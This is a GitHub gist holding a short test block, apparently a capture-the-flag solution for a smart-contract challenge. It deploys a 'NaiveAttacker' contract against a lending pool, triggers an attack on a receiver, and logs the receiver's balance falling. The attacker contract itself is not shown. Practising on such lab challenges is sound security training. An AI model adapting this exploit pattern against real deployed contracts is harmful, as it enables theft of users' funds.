Last active
July 9, 2022 21:48
-
-
Save JuanXavier/c21eb096faca269e531edd06b7f291fd to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| it('Exploit', async function () { | |
| /** CODE YOUR EXPLOIT HERE */ | |
| // Deploy attacker contract | |
| const NaiveAttacker = await ethers.getContractFactory('NaiveAttacker', attacker) | |
| this.attackerContract = await NaiveAttacker.deploy(this.pool.address) | |
| // Attack | |
| console.log( | |
| 'Receiver balance before attacking: ', | |
| String(await ethers.provider.getBalance(this.receiver.address)) | |
| ) | |
| await this.attackerContract.connect(attacker).attack(this.receiver.address) | |
| console.log( | |
| 'Receiver balance after attacking: ', | |
| String(await ethers.provider.getBalance(this.receiver.address)) | |
| ) | |
| }) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment